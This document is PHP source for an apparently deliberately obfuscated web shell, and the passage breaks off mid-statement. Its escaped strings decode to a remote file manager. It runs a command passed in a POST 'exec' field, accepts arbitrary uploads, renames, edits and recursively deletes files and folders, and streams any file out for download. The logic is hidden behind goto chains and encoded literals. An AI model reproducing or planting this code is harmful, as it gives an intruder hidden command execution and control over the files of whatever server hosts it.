goto yXj1N; iMTsd: goto PfkbV; goto uWgDe; NOSi2: goto Uoosr; goto higa2; TNZkQ: goto JCIaN; goto LiJvz; ej8kD: ciWpv: goto kptWd; b34j_: $gGqEA = kcR4Z($uZY_B); goto CDZ3d; s4yrW: RbBZN: goto qH7A8; iN72d: IMf60: goto Pj2m0; AKBkr: goto Mtye5; goto AEB_M; g3IrZ: goto gYd6q; goto Fk_AR; byaRZ: goto JhuhT; goto XxeGC; Fd8Mr: aPECZ: goto EGE5o; cKJwn: goto bUTwW; goto TnMc6; Fvkyf: goto oy5xD; goto SmW7n; Nkevh: goto w1iwY; goto R2PXr; ozLkN: goto GDA_I; goto NgXKh; zOeXp: $FcgCm = dirname(__FILE__); goto vNNdR; J8Qex: $z1JY9 = "\x46\157\x6c\144\x65\162\x20\x63\162\145\141\x74\145\x64"; goto HAvJH; PUCAW: goto gQIcs; goto RVvYY; XxeGC: EIxrw: goto pJvM0; blgUv: goto MnfTm; goto sUCBi; zAS3d: goto Kudez; goto kvLCg; BKP9S: w38H2: goto BUgQv; cVqRy: HtR_k: goto BTMxG; otn7I: tPuED: goto W1NnY; vAFHT: header("\x50\162\141\147\155\x61\72\40\x6e\x6f\55\143\x61\143\150\x65"); goto Cyxjp; KKd_6: goto NBZft; goto RbQcs; WQuD8: $Ha841 = "\104\x65\x6c\145\x74\x65\40\146\141\x69\x6c\145\x64\72\40\103\157\x75\x6c\x64\x20\156\x6f\164\40\x72\145\155\157\x76\145\x20\x64\151\x72\145\x63\x74\x6f\162\x79"; goto NxUVP; aAXhF: goto l469A; goto QbjJs; iEMCn: r6T1T: goto sYMkq; DlvPw: goto WisQs; goto ki032; p1d_R: goto S7naY; goto UNaMY; NqGo0: $_SESSION["\143\x75\162\162\x65\156\x74\137\x64\x69\162"] = $ooDUO; goto Z60rC; R8GP8: @ini_set("\x73\145\x73\163\x69\x6f\156\56\163\141\166\145\x5f\x68\141\x6e\144\x6c\145\x72", "\x66\x69\x6c\145\163"); goto goxR5; Xk6hR: eJjlu: goto YdtTh; w33cf: YnLQi: goto lcjD3; y7Int: goto bBE1F; goto Z8A3b; cLHOG: goto lOkoz; goto LDDe8; Y7hOt: NNBU1: goto riZ5d; X9_wF: goto eUIfE; goto SE6KS; MZ5Qb: Kbjbc: goto hYLRk; ES6_x: goto rj3ka; goto WP0KJ; ZEeU0: LAxs2: goto fSweV; JeDvQ: goto NJeZb; goto W3h87; eY_a7: goto IHXTM; goto V2yvQ; Ccnaq: goto rmYC8; goto RAtsi; QhHt2: if (!$Ha841) { goto e6ZdN; } goto lGwI5; IRFZb: $z1JY9 = "\122\x65\156\141\x6d\145\40\163\165\143\143\x65\163\x73\146\x75\154"; goto oID3P; yXj1N: goto aTwuN; goto z9_pX; knhdG: ifZEq: goto s01Wa; sBxSt: goto J6z63; goto sa6Cc; QQF13: goto Mhogq; goto ILqzL; gtyWJ: HrKXA: goto tV1Q1; MYTQK: QLdGp: goto dGFuR; i4TG2: function ge4Av($R9kvr, $lvLEN = null) { return isset($_GET[$R9kvr]) ? $_GET[$R9kvr] : $lvLEN; } goto TpL2r; bzYdr: bBE1F: goto oNwqZ; Gt2KA: goto YPEYu; goto vLZs8; tt1lU: foreach ($_POST as $Sgbsq => $ZxHJv) { goto jc0y9; EPbwW: oHib3: goto o0Bno; jnRY4: iuDJU: goto yJoum; S3VgJ: vbGKb: goto NWWpq; LvMTp: goto ho5My; goto EPbwW; ViXo8: goto oHib3; goto ycC9P; F8658: RJrlu: goto ViXo8; UGpBa: s5kc7: goto yuTQ6; EN7Pi: goto ehcjI; goto jnRY4; ycC9P: imJM_: goto gzgOj; Vkcx1: iU42K: goto IeMIQ; S5Dq3: goto vbGKb; goto BYnej; s2hWg: if ($Sgbsq === "\x5f\143\163\x72\146\x5f\x74\157\153\145\x6e") { goto lcbhl; } goto w2pQd; nJ5qa: goto bJ2t9; goto Wb16L; XoNKd: goto cNYFi; goto F8658; OwHrs: bJ2t9: goto KGpjy; uLRbt: if (in_array($Sgbsq, $QebMo)) { goto Tz7_d; } goto JsaLR; cjkcN: goto vBJNp; goto vCdbR; w2pQd: goto vQOBO; goto QmEkP; zQpDs: nrBHD: goto EN7Pi; Wb16L: KeRT1: goto zQpDs; vCdbR: LQ1uU: goto s2hWg; HqDpr: goto imJM_; goto UGpBa; zl2Tl: goto s5kc7; goto S3VgJ; q8A9F: ho5My: goto cNcLq; NWWpq: $XiDxq = true; goto nJ5qa; bs90f: goto iU42K; goto Vkcx1; ip6uL: Tz7_d: goto bs90f; lb58O: ehcjI: goto x91dW; jc0y9: goto LQ1uU; goto OwHrs; o0Bno: goto HSwTR; goto L63hB; yJoum: cNYFi: goto S5Dq3; IeMIQ: goto HSwTR; goto cZpOR; yuTQ6: vQOBO: goto j3lEU; zOsXn: HSwTR: goto HqDpr; cNcLq: goto HSwTR; goto zl2Tl; gzgOj: CNlvY: goto FsEsy; yiGM3: vBJNp: goto zOsXn; KGpjy: goto hQ2jj; goto cjkcN; BYnej: rLEZJ: goto uLRbt; cZpOR: goto KeRT1; goto lb58O; L63hB: goto iuDJU; goto yiGM3; JsaLR: goto nrBHD; goto ip6uL; QmEkP: lcbhl: goto LvMTp; x91dW: if ($Sgbsq === "\151\164\145\155\163") { goto RJrlu; } goto XoNKd; j3lEU: goto rLEZJ; goto q8A9F; FsEsy: } goto OuJuC; yLZ3v: if (!@file_exists($Yy22r)) { goto htZkU; } goto X6Cvx; WAs0F: goto DXqbS; goto XFHZq; w4B1R: $AAqLo = array(); goto v3Geh; nmhNS: goto ni_qM; goto VhGHG; WVqGa: Z9AGj: goto g2is7; cnIq4: goto w7D9D; goto Zj_8H; Qkovu: poX12: goto tbIoP; vMB7E: goto awDA3; goto ls5qB; e633K: Uoosr: goto pbiYh; AxEYX: goto btKMC; goto M7dvY; fNAer: cbJzp: goto H6BgB; i75lQ: Nv4mg: goto Lf5cg; PM43o: U1HqR: goto jj8Fb; tC8CB: if (!$SJmyq) { goto JqAzV; } goto PGMZN; YzrBU: OVB5a: goto G2msd; Bu1iS: w7nw6: goto go0Wh; uIHH5: if (isset($_FILES["\x75\160\x6c\x6f\141\x64"]) && $_FILES["\x75\160\x6c\157\141\x64"]["\x65\162\162\157\162"] !== UPLOAD_ERR_NO_FILE) { goto V_Prr; } goto g3IrZ; F49JT: goto nXrgY; goto IDwAC; e4tZ2: FR1Ar: goto Qfj2E; KO8EM: goto aFVvu; goto t2KNL; PHcgh: u_7Gi: goto Vr9aq; qyCkO: jwb7j: goto RGAbw; We4DQ: ves3J: goto tWWe2; wvEL7: Xi3lb: goto Bl2dQ; EcnPg: tanzI: goto aEzGI; OpHtj: goto pd4sa; goto HGl9E; wslw8: tDS5I: goto SPckY; Y79gN: fclose($SJmyq); goto V8pSi; R2PXr: ik39a: goto jUj8K; gJVWP: goto T6NJ5; goto XR_k4; MkaWg: goto IuPOv; goto kP3lP; J69yl: cvyuc: goto DSwUM; H3x1l: goto W4lVy; goto gycs3; RHbiC: oY69o: goto zGQy6; qDIBx: goto oY69o; goto u4Wre; qzYGr: tXTTA: goto sJ3xS; w6kwI: I0QQ1: goto sv8kU; Jp25Y: goto z_izw; goto plvbx; qB65s: goto N47ZA; goto bcpQp; PGMZN: goto jFoDG; goto wR5Jc; k4ckh: Z0Zso: goto e_gU7; dGFuR: echo dkZcY(); goto zwFIz; cw3Qj: $WAN6O = @fopen("\160\150\x70\72\57\x2f\x69\x6e\160\165\164", "\x72\142"); goto iSy9p; PE6fa: mVXJj: goto Nkevh; iyh1y: goto bHIkB; goto SbeM8; pbiYh: goto q2wPK; goto HxcDn; TH5_a: HYFqs: goto TF1BA; HZPv8: goto vzEsE; goto RinNE; DtVcl: lkYzR: goto EoEJM; s01Wa: if ($WAN6O && $krS6l) { goto CRWhl; } goto acM0S; Xgxll: goto MNtpL; goto GwYdT; qK07h: $DdREV = array(); goto X_iTw; A4EJe: goto W16oH; goto hN5EO; lzcaU: f28XE: goto iyJTM; TcNG4: hNWbY: goto YPEOL; wE1X6: Mx8IB: goto Dzz1Y; n3zof: goto nXTip; goto Sjy7e; ABCT8: O1pCG: goto X6X1z; OIclC: goto V4b3q; goto hLEY_; zkdds: goto RbBZN; goto FesO6; oZy9L: LoMUe: goto fKFv8; SqHAZ: nYO35: goto eS270; Q3RYI: goto RGgDI; goto CSI_P; M0lkc: VMj_a: goto bEK6m; Q1ywd: $Ha841 = "\x52\145\156\141\155\x65\x20\x66\141\x69\154\x65\144\x3a\x20\120\145\x72\155\x69\x73\x73\151\157\156\40\144\145\156\151\145\144\x20\x6f\x72\40\151\x6e\166\x61\x6c\x69\x64\40\156\x61\155\145"; goto qR1CB; FDkX0: if (!@is_file($Yvvjn)) { goto Yk22t; } goto jnIo6; dCmTg: $uZY_B = trim($_POST["\x65\170\145\x63"]); goto dsS0G; GdFmP: NB2A6: goto dGn9Y; fbdkT: goto hKNbF; goto m368W; o4mgw: goto HVker; goto OVWGT; V2yvQ: LxAZw: goto sJqqS; GtVk_: Mtye5: goto xVn6h; q48qZ: goto xoVPi; goto XMaHv; L2ahG: if (@is_writable($_SESSION["\143\165\162\x72\145\156\164\137\144\151\x72"])) { goto XZm8E; } goto CWmkj; zDo5V: goto IW27w; goto XaCO7; Q6EfK: XJ4dp: goto mkSEF; kp2Qb: wv3NE: goto CQTZu; PiUU_: rjPVu: goto utJyI; RHQdZ: goto qCP4e; goto t5YjR; Ce2vF: $Ppot1 = yc2FB(array($Yvvjn), dirname($Yvvjn), basename($Yvvjn)); goto KxkZ4; Q2jsl: nepVL: goto C16IR; K1eM3: if (@is_dir($_SESSION["\143\165\x72\162\x65\x6e\x74\x5f\144\151\x72"])) { goto oTCKd; } goto X7ECL; UXsn3: E4mGl: goto hcrBW; o8kf3: goto k64kE; goto gXec3; t5s_4: cM1za: goto XEDkk; tIiDO: PHkD1: goto itdL2; pnJAr: $t2FtE = $UHrxO ? isset($_POST["\155\x6f\x64\151\146\171"]) ? $_POST["\155\157\144\151\x66\171"] : (isset($_POST["\145\144\x69\164\137\x66\151\154\x65"]) ? $_POST["\x65\144\151\164\x5f\146\x69\x6c\145"] : null) : null; goto yQocC; hpVBm: function flB95($VUDkV) { goto HSsyg; HJHYz: if (empty($_SESSION["\137\143\x73\162\x66\137\164\x6f\x6b\145\x6e"]) || empty($VUDkV)) { goto jmC9D; } goto T2lf0; YpqKF: M1kft: goto jwsAd; T2lf0: goto isVyd; goto ZpleS; mkiPW: goto OC8nj; goto kI32H; HSsyg: goto Z5TUJ; goto NQ764; YaQBe: return hash_equals($_SESSION["\x5f\143\163\162\146\137\164\x6f\153\145\156"], $VUDkV); goto mkiPW; jwsAd: isVyd: goto i7Ps6; NQ764: aZk3Z: goto p0NbT; i7Ps6: goto uSZN7; goto tFKPT; kI32H: OC8nj: goto QcfeS; BFEtt: goto aZk3Z; goto oU_wY; tFKPT: Z5TUJ: goto HJHYz; oU_wY: uSZN7: goto YaQBe; p0NbT: return false; goto eoMNi; ZpleS: jmC9D: goto BFEtt; eoMNi: goto M1kft; goto YpqKF; QcfeS: } goto dUpjo; iXTWL: KCm2o: goto woqg1; CrntC: goto Kso7F; goto DT33g; D6ISb: goto QiL0y; goto pOsiZ; nyBdT: goto ZIpwL; goto KY7M_; NAzVf: SdVSX: goto uIHH5; ZWZ88: PfkbV: goto Xm_mN; iDMFG: goto RATdx; goto V1MCJ; fKFv8: foreach ($_POST["\x69\x74\x65\x6d\163"] as $qGyu2) { goto wVFGB; In0fG: fxblI: goto ENNXn; y1KWI: $q30fr = LcA48($_SESSION["\143\x75\162\x72\145\156\164\137\x64\x69\x72"] . DIRECTORY_SEPARATOR . $qGyu2); goto J0xN1; jZQkT: goto PsfkZ; goto BEjIK; J0xN1: goto xFIp6; goto Oe52O; wVFGB: goto uy3l2; goto K00mx; DtYSi: x_ivS: goto bvwSW; OGA9p: goto x_ivS; goto JMwnz; BEjIK: uy3l2: goto y1KWI; bvwSW: jrJAf: goto jZQkT; gZTvW: EvuZX: goto OGA9p; JMwnz: PsfkZ: goto XSXgo; Oe52O: HyZ1Z: goto gZTvW; XSXgo: Vu_4D: goto HhKYY; K00mx: xFIp6: goto u6nn5; yMiuY: $DdREV[] = $q30fr; goto k_fGK; ffLWV: l2SxF: goto yMiuY; u6nn5: if ($q30fr !== false) { goto fxblI; } goto EGCqs; ENNXn: goto l2SxF; goto ffLWV; EGCqs: goto EvuZX; goto In0fG; k_fGK: goto HyZ1Z; goto DtYSi; HhKYY: } goto PQl0W; JKIjL: GPqhC: goto TPxj_; t2nxV: awDA3: goto KK0Pu; B3Nd_: @readfile($GId_d); goto NKhdy; gxwEN: eUIfE: goto Z3Fk8; z9_pX: ZmfO0: goto R8GP8; ZJGrw: goto K8kyw; goto YX3Bd; FPmFB: fSsR4: goto V5Q0V; pNaBk: vB4YL: goto eHu0Q; bSEvR: goto HXRYF; goto b4muV; fSweV: $Ha841 = "\103\162\145\x61\164\x65\40\x66\141\151\154\145\144\x3a\40\x43\x6f\165\x6c\144\x20\x6e\157\164\40\x63\x72\x65\141\164\x65\40\x66\x6f\154\144\145\162"; goto CKVyP; Oh7lu: if (isset($_POST["\x67\145\x74\137\146\151\x6c\x65"])) { goto Tmf0F; } goto qhtsR; l1TI1: qu73u: goto vAFHT; i8WPq: goto ahztk; goto WoyO7; FyvIE: goJng: goto CLKCm; aPHPh: if (!feof($SJmyq)) { goto k95L3; } goto hZOMu; h1gF3: YQTGw: goto aPUTp; lrstT: goto gn7FH; goto TYHv5; d8NBd: goto bCqzB; goto RwaYY; gqQ87: goto g1oOP; goto jmbtt; j2sxn: hrXf6: goto Y79gN; HjEnR: GsPHe: goto bSGAD; f0XvK: goto M3Qnz; goto bzT98; lLOy7: $X_CY3 = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "\x70\x68\160\137\163\x65\163\163\x69\157\156\163"; goto KezrJ; RLFFF: IW27w: goto ugixo; FZGHQ: goto oLMTG; goto Se0ux; CK_EW: muNMh: goto WazVQ; lz96W: goto wwpsg; goto mG0IR; M7dvY: Hg4dY: goto zDo5V; W7MfR: ASJ_g: goto Tgo0S; hZOMu: goto aM_nN; goto rItrj; KWLsO: echo "\xa\40\x20\40\x20\x3c\x66\x6f\x72\x6d\x20\x6d\145\164\x68\x6f\x64\75\42\x70\x6f\x73\164\x22\40\151\144\x3d\x22\x66\151\154\x65\x2d\x66\157\162\155\42\x3e\12\x20\40\x20\40\40\40\x20\x20"; goto xLcpV; aixLQ: goto GV7DM; goto PiUU_; Z4Oai: goto H2sbB; goto jswKD; Je3PT: EOPYM: goto Y4Add; uSSQe: goto VASQg; goto Oh1DN; xIJBX: goto GMRNb; goto ds33e; V4gmf: if (!function_exists("\x68\141\163\x68\137\145\x71\x75\141\154\x73")) { function hash_equals($ystIF, $LeOOq) { goto Bsa3h; M89YQ: goto jESmH; goto dRsws; dQCgL: eY1xR: goto o_2AI; XV7SY: goto MY2V3; goto gNweN; z4zwW: Ns_HC: goto oZbaf; o_2AI: return false; goto l2RvA; orMCG: o9LX0: goto UHT2h; jLAgQ: goto SdrS5; goto qrOVE; typPs: ljUuF: goto xe_gA; Fj2p0: hTcYD: goto z4zwW; NNs9o: if ($zUXft !== strlen($LeOOq)) { goto ljUuF; } goto az9e0; g1ldZ: mzyZb: goto Yho_k; Bsa3h: goto mzyZb; goto Fj2p0; O9f41: goto hTcYD; goto p2Zfx; abipV: goto lhED2; goto DLZJG; vsuTx: $lSJK7 = 0; goto OwBRT; e4sBO: $LeOOq = (string) $LeOOq; goto abipV; yr4Uc: ksUdr: goto zcpHF; JoKqY: goto Z9lSQ; goto QIk7s; HwOVl: $zUXft = strlen($ystIF); goto ZqDlE; Qb6nr: Z9lSQ: goto DqVef; OwBRT: goto ksUdr; goto rUJbs; rIf4Z: goto ZcSi0; goto L8zdK; DqVef: $lSJK7++; goto XV7SY; S335b: VofSn: goto NNs9o; ZqDlE: goto VofSn; goto Q3HcY; Q3HcY: SdrS5: goto pCLj9; az9e0: goto o9LX0; goto typPs; pCLj9: if ($lSJK7 < $zUXft) { goto kSB29; } goto IWsUX; gNweN: lhED2: goto HwOVl; p2Zfx: ZcSi0: goto HoKPY; HoKPY: $v_1mp |= ord($ystIF[$lSJK7]) ^ ord($LeOOq[$lSJK7]); goto M89YQ; l2RvA: goto iFCX5; goto uuILJ; IWsUX: goto Ns_HC; goto n8LpC; qrOVE: f7YAT: goto zadLX; L8zdK: MY2V3: goto MvQzr; GwdZJ: dX3JU: goto JoKqY; QIk7s: wA64K: goto e4sBO; DLZJG: IZsCK: goto KTkF3; MvQzr: goto hkyQ0; goto O9f41; rUJbs: iFCX5: goto orMCG; xe_gA: goto eY1xR; goto yr4Uc; dRsws: y1dia: goto TjX6V; oZbaf: goto f7YAT; goto g1ldZ; VEsMU: jESmH: goto GwdZJ; uuILJ: in1MZ: goto vsuTx; zcpHF: hkyQ0: goto jLAgQ; UHT2h: goto IZsCK; goto Qb6nr; zadLX: return $v_1mp === 0; goto F_VNY; F_VNY: goto y1dia; goto VEsMU; n8LpC: kSB29: goto rIf4Z; uSDmJ: goto wA64K; goto S335b; Yho_k: $ystIF = (string) $ystIF; goto uSDmJ; KTkF3: $v_1mp = 0; goto Msvzq; Msvzq: goto in1MZ; goto dQCgL; TjX6V: } } goto gYUlG; wYiEG: @session_regenerate_id(true); goto lz96W; DmxJc: RqSce: goto UzE0e; q4LoN: goto y7BnF; goto w8AEN; PA9wW: goto XS0_2; goto WVkWN; p5rPT: $yLBtA = defined("\x78\x69\156\x73\111") || defined("\x62\155\105\107\x55"); goto X7mjE; Bw4mH: echo htmlentities($t2FtE); goto psLIb; lBznY: goto HYFqs; goto t2nxV; U10f2: goto X3G21; goto Lokth; B_K0N: x3WI8: goto eulH_; VWDCC: EFE3d: goto h8WER; HgbEs: goto J51LC; goto oAZlm; UB2vt: goto Kw13o; goto vNR88; uetET: NbLjZ: goto CQmsp; RGAbw: echo "\x20\40\40\x20\x20\x20\40\x20\40\40\40\40\x3c\x2f\x73\x70\x61\156\76\12\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\40\74\x62\x75\164\164\157\x6e\40\164\171\160\145\x3d\x22\142\x75\x74\164\157\x6e\42\x20\143\154\x61\163\163\75\42\x62\x74\156\40\x62\x74\x6e\55\x67\x68\157\163\164\40\142\x74\x6e\55\163\155\x22\40\x6f\156\x63\x6c\151\x63\x6b\75\x22\154\157\x63\141\x74\151\x6f\156\56\x68\162\145\x66\x3d\x6c\x6f\x63\141\x74\151\157\x6e\x2e\160\x61\x74\150\x6e\141\x6d\x65\x3b\42\76\x43\x6c\x6f\163\145\x3c\57\142\165\164\x74\157\x6e\x3e\xa\x20\x20\40\40\x20\x20\x20\x20\x3c\x2f\x64\151\x76\x3e\xa\x20\x20\40\x20\x20\40\40\40\x3c\144\x69\166\40\143\x6c\141\163\163\x3d\42\143\x61\x72\144\x2d\x62\157\144\171\x22\76\xa\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\74\x74\x65\x78\164\141\162\145\x61\x20\x72\145\x61\144\x6f\156\154\171\x20\x73\164\x79\154\145\75\42\x6d\x69\156\x2d\150\x65\x69\147\x68\164\x3a\40\63\60\x30\160\170\73\40\167\x69\x64\164\x68\72\x20\61\60\60\x25\x3b\40\x62\x6f\x78\55\x73\151\x7a\151\x6e\x67\x3a\x20\x62\x6f\x72\144\x65\162\55\142\157\170\73\42\76"; goto IUAGT; rA98W: My8wC: goto UfuZH; M1jnI: goto ijaaF; goto xfO6r; cTALv: tnB9t: goto T9RRG; Rr4U2: header("\x43\x6f\156\164\x65\x6e\164\x2d\x54\171\160\145\72\x20\x61\x70\x70\x6c\151\x63\141\x74\151\157\156\x2f\157\x63\x74\x65\164\55\x73\164\162\145\x61\x6d"); goto bRGnN; li_NC: $z1JY9 = "\x44\151\x72\x65\143\x74\x6f\x72\x79\x20\x64\x65\154\145\164\145\x64"; goto qB65s; I6M5j: goto W0Bip; goto m7QM3; WK1H6: echo "\40\x20\x20\40\40\40\x20\x20\74\144\151\166\x20\143\154\141\x73\x73\x3d\42\141\x6c\145\162\164\40\141\x6c\145\162\164\x2d\144\x61\x6e\x67\x65\162\x22\x3e\xa\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x3c\163\166\147\x20\166\151\145\x77\x42\x6f\x78\x3d\x22\x30\40\60\x20\x32\64\x20\62\64\42\40\x66\151\x6c\154\x3d\42\x6e\x6f\x6e\x65\42\x20\163\164\x72\x6f\x6b\145\x3d\42\x63\x75\162\162\145\x6e\164\103\x6f\x6c\157\162\42\x20\163\x74\162\x6f\153\145\55\x77\x69\x64\164\150\75\42\x32\x22\76\x3c\x63\151\162\143\154\145\x20\143\x78\x3d\x22\x31\x32\42\x20\143\171\x3d\x22\x31\x32\42\x20\162\x3d\42\61\x30\x22\x2f\76\74\x6c\151\156\145\x20\x78\61\x3d\42\x31\62\x22\x20\171\x31\75\42\70\42\x20\170\62\75\42\61\62\x22\40\171\x32\x3d\x22\61\62\42\x2f\x3e\x3c\154\x69\x6e\145\40\170\61\x3d\x22\x31\62\x22\40\171\61\75\x22\61\66\x22\x20\x78\62\75\x22\61\62\56\60\61\42\40\x79\62\75\x22\x31\66\x22\57\x3e\x3c\x2f\x73\x76\x67\x3e\xa\x20\x20\40\x20\40\40\x20\x20\40\40\40\40"; goto AyaPh; OlV0o: goto cTmFQ; goto ZEeU0; OaG4c: t23vz: goto Bw_C9; Veodc: X3G21: goto TT6e5; lf48k: goto ASJ_g; goto Veodc; Bw_C9: exit("\106\x69\x6c\x65\x20\165\160\x6c\x6f\x61\144\145\x64\40\x73\165\x63\143\x65\x73\x73\x66\x75\154\x6c\x79"); goto J5aoc; E24xL: sx0FJ: goto wEfrG; WhT72: oTXzi: goto LzixU; gGx1J: goto DyyAS; goto aevK7; hjYtj: $L6Wmx = false; goto xIJBX; X7ECL: goto qM8TS; goto yHyNf; uWgDe: zphMp: goto kOVwO; IP2ij: EsrA8: goto QwHRI; C_Q4D: goto mIpgM; goto IF9JU; UQLI7: if ($zjHJ0) { goto Oq_tT; } goto shXwX; ppNEX: list($GId_d, $ChNv3, $Qg52d) = $Ppot1; goto SsEQh; gb4G3: f5zth: goto sFYkm; NKhdy: goto NSGoU; goto tQniB; k00Jt: goto EsASb; goto vzSCi; cOocp: goto gVyLk; goto zjJu2; S53BL: goto JPdJy; goto qE_8R; wUtCn: wskCa: goto KhpXD; DvKuO: goto ky0tK; goto iT1Zx; WuhAU: goto ifOj0; goto mFgNZ; RSlDd: $Ha841 = ''; goto wgyYB; g1fyC: $jLwb5 = Lca48($_SESSION["\x63\x75\x72\162\x65\x6e\x74\x5f\144\x69\x72"] . DIRECTORY_SEPARATOR . $_POST["\x65\144\x69\164\137\x66\x69\x6c\145"]); goto qRKe2; bQ9mB: goto fSsR4; goto C62aS; e_gU7: function GEMDM($ToQ90) { goto l1hZy; LPkyq: goto yAGpd; goto W2QLC; p94jE: xA4Vx: goto PzxN2; a38MQ: kMU_a: goto kigop; Sqe7u: goto HFzaG; goto rkW5O; bb2C3: goto iDpNX; goto CM8Xn; rkW5O: HFzaG: goto BxOaY; gtZU2: dKS4D: goto r5_m3; YIwZl: return false; goto zHQCU; aj38g: lZM2j: goto OZ_a1; JlYEP: try { goto qcbzr; HQldy: l3RwT: goto nT42T; aeygp: goto l3RwT; goto VjCf_; HMDsB: goto Iep51; goto eJ3UZ; nT42T: return @rmdir($ToQ90); goto x0SU6; DtrGC: foreach ($vav4m as $tvl5k) { goto DCiyd; plUng: SYHG4: goto KfWq4; DCiyd: goto gBndJ; goto lGKeo; lGKeo: dkMV5: goto AWs0R; Ina7N: goto dkMV5; goto CXvBl; CXvBl: SvXcJ: goto e3o7F; e3o7F: R0ERx: goto Qv96G; hRmnJ: goto SvXcJ; goto Gapep; oR3cv: goto FtZqn; goto hRmnJ; Gapep: Vj_GT: goto urz1w; KfWq4: FjrEI: goto JNlcX; hyQ2e: gBndJ: goto gdZSY; APkp9: goto SYHG4; goto plUng; gdZSY: if (!$tvl5k->isDir()) { goto TGbsc; } goto Tk5KM; AWs0R: FtZqn: goto APkp9; y3BN0: wr0LP: goto k1rDJ; qqsbi: O4I5Z: goto B36Wd; Qv96G: goto O4I5Z; goto nzi5x; bqry6: goto hEBxe; goto eiZjY; eiZjY: Vkrwz: goto y3BN0; nzi5x: hEBxe: goto oR3cv; zf_6t: TGbsc: goto QPLIC; B36Wd: @rmdir($tvl5k->getRealPath()); goto Ina7N; Tk5KM: goto R0ERx; goto zf_6t; urz1w: @unlink($tvl5k->getRealPath()); goto bqry6; JNlcX: goto Vkrwz; goto hyQ2e; QPLIC: goto Vj_GT; goto qqsbi; k1rDJ: } goto J8CEn; mwaAC: v0gL9: goto STr_u; nGc4I: k6rRj: goto aeygp; x0SU6: goto VULQn; goto xHdyN; eJ3UZ: VULQn: goto MNr7K; qcbzr: goto v0gL9; goto HQldy; J8CEn: aZqSp: goto MY7la; VjCf_: Iep51: goto DtrGC; MY7la: goto Goh4C; goto mwaAC; xHdyN: Goh4C: goto nGc4I; STr_u: $vav4m = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($ToQ90, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST); goto HMDsB; MNr7K: } catch (Exception $iQpCf) { } goto VW329; WfKnt: goto WgYjp; goto s65AN; jBDD3: return @unlink($ToQ90); goto Sqe7u; WtcD1: goto clO6x; goto xDiVb; MWkP9: goto iLp1B; goto sUJ36; jn0M4: iLp1B: goto z0jLs; r5_m3: goto lZM2j; goto aj38g; Oc71p: x0SN3: goto K1T7r; u7EDG: cBZG_: goto viF_h; BavNH: goto EY3aU; goto p94jE; N3Tct: goto x0SN3; goto a7Ujs; OZ_a1: if (class_exists("\x52\x65\143\x75\x72\x73\x69\x76\145\111\x74\x65\x72\x61\x74\x6f\x72\111\x74\145\x72\x61\164\x6f\x72")) { goto dyFU1; } goto E7eNw; z0jLs: yAGpd: goto dIK9f; xDiVb: DQHmF: goto pllLY; kigop: goto ejTN_; goto SsiIe; E7eNw: goto kMU_a; goto Cy6Cz; Z2e5R: if ($RFQij === false) { goto YllsZ; } goto LPkyq; ZM5cy: zapc6: goto N3Tct; P_1OZ: clO6x: goto YIwZl; YEO4t: goto dKS4D; goto YLlls; a7Ujs: HuLnD: goto gtZU2; N12IC: iDpNX: goto jBDD3; zHQCU: goto HuLnD; goto a01PR; W2QLC: YllsZ: goto IrSJU; l1hZy: goto cBZG_; goto N12IC; w9Ads: goto xA4Vx; goto u7EDG; akMbm: goto O9mx2; goto LMeZK; bR736: $RFQij = @scandir($ToQ90); goto BavNH; a01PR: N4_tD: goto JIYE3; PzxN2: return @rmdir($ToQ90); goto WfKnt; JB_Ei: oE3YN: goto a38MQ; prx9f: goto dSiDn; goto KFQsv; SsiIe: O9mx2: goto JlYEP; JvkRF: foreach ($RFQij as $qGyu2) { goto i7iA7; PEUsL: goto a1k2G; goto qQOGf; J8qUs: goto jjiww; goto sl1fM; eZ8Cb: i9Rxz: goto Q1Kli; nFHBV: IJcKH: goto C5XOc; esyrH: goto IJcKH; goto rUop8; fE5Zs: sllkM: goto e0Ccz; i7iA7: goto i68vP; goto l8wd7; e0Ccz: gemdm($ToQ90 . DIRECTORY_SEPARATOR . $qGyu2); goto l9i6L; J5SUk: PYWZI: goto PEUsL; eh9iC: a1k2G: goto eZ8Cb; YVKAW: goto YBLh9; goto fE5Zs; qQOGf: jjiww: goto MgwPu; sl1fM: BuGuh: goto J5SUk; l8wd7: i68vP: goto ESmZl; mo_19: YBLh9: goto nFHBV; C5XOc: goto sllkM; goto eh9iC; l9i6L: goto BuGuh; goto mo_19; MgwPu: goto PYWZI; goto YVKAW; rUop8: lpNFl: goto J8qUs; ESmZl: if ($qGyu2 === "\56" || $qGyu2 === "\56\56") { goto lpNFl; } goto esyrH; Q1Kli: } goto ZM5cy; pllLY: return false; goto MWkP9; Cy6Cz: dyFU1: goto akMbm; viF_h: if (@is_file($ToQ90) || @is_link($ToQ90)) { goto SHQAW; } goto prx9f; YLlls: OIe7i: goto WtcD1; JIYE3: if (!@is_dir($ToQ90)) { goto OIe7i; } goto YEO4t; CM8Xn: EY3aU: goto Z2e5R; dIK9f: goto C7OAf; goto Oc71p; K1T7r: JNx4a: goto w9Ads; s65AN: WgYjp: goto dqlio; LMeZK: ejTN_: goto bR736; sUJ36: C7OAf: goto JvkRF; IrSJU: goto DQHmF; goto JB_Ei; BxOaY: dSiDn: goto GNXLt; GNXLt: goto N4_tD; goto jn0M4; KFQsv: SHQAW: goto bb2C3; VW329: goto oE3YN; goto P_1OZ; dqlio: } goto fccK0; fzFpR: goto ylE8k; goto qpk5t; vOEj1: goto UA3hs; goto baELh; F0aCE: goto xARet; goto d3d_R; w3L6j: if (!@is_dir($X_CY3)) { goto KLZRD; } goto aAXhF; Bdwmk: c0Hwj: goto PM43o; HPWqi: goto yKn2w; goto TIXEL; vLo9L: goto X5KCA; goto iXTWL; RmTsh: if (@ob_get_level() > 0) { goto qgfKh; } goto BAulJ; LNIQc: S7naY: goto YBYNa; id36i: VjHlr: goto wVJhH; Kh6Mi: $zjHJ0 = @getcwd(); goto S4Whz; vb04G: $Yy22r = $_SESSION["\x63\165\x72\162\x65\156\x74\137\144\x69\162"] . DIRECTORY_SEPARATOR . $X9VNQ; goto MdqlP; m368W: W16oH: goto nxx5b; o5jFR: if ($rlZEq) { goto Hg4dY; } goto AxEYX; ZycKj: goto oAyjj; goto Slg4X; ki2vI: if (!function_exists("\x6d\157\166\x65\137\x75\160\x6c\157\141\144\x65\144\x5f\146\151\154\145")) { goto 